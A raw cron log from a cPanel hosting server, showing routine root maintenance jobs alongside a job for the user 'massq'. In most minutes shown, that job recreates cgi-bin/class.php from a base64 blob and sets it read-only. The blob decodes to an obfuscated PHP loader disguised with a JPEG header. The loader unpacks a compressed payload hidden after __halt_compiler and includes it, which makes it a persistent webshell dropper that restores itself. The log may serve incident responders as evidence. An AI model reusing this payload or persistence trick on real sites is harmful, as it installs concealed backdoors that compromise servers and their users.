Sep  9 21:38:01 server CROND[5762]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:39:01 server CROND[6228]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:39:01 server CROND[6229]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:39:01 server CROND[6230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:39:01 server CROND[6231]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 21:40:01 server CROND[6612]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 21:40:01 server CROND[6613]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 21:40:01 server CROND[6617]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 21:40:01 server CROND[6620]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 21:40:01 server CROND[6616]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:40:01 server CROND[6615]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:40:01 server CROND[6619]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 21:40:01 server CROND[6618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:41:01 server CROND[7424]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:41:01 server CROND[7425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:41:01 server CROND[7426]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:42:01 server CROND[7801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:42:01 server CROND[7803]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:42:01 server CROND[7802]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:42:01 server CROND[7804]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 21:43:01 server CROND[8178]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:43:01 server CROND[8179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:43:01 server CROND[8180]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:44:01 server CROND[8601]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:44:01 server CROND[8602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:44:01 server CROND[8603]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:45:01 server CROND[9075]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 21:45:01 server CROND[9076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:45:01 server CROND[9079]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:45:01 server CROND[9080]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:45:01 server CROND[9081]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 21:45:01 server CROND[9082]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 21:45:01 server CROND[9083]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 21:46:01 server CROND[9913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:46:01 server CROND[9914]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:46:01 server CROND[9915]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:47:01 server CROND[10352]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:47:01 server CROND[10353]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:47:01 server CROND[10355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:48:01 server CROND[10732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:48:01 server CROND[10731]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:48:01 server CROND[10733]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:49:01 server CROND[11106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:49:01 server CROND[11107]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:49:01 server CROND[11108]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:50:01 server CROND[11483]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 21:50:01 server CROND[11487]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 21:50:01 server CROND[11486]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
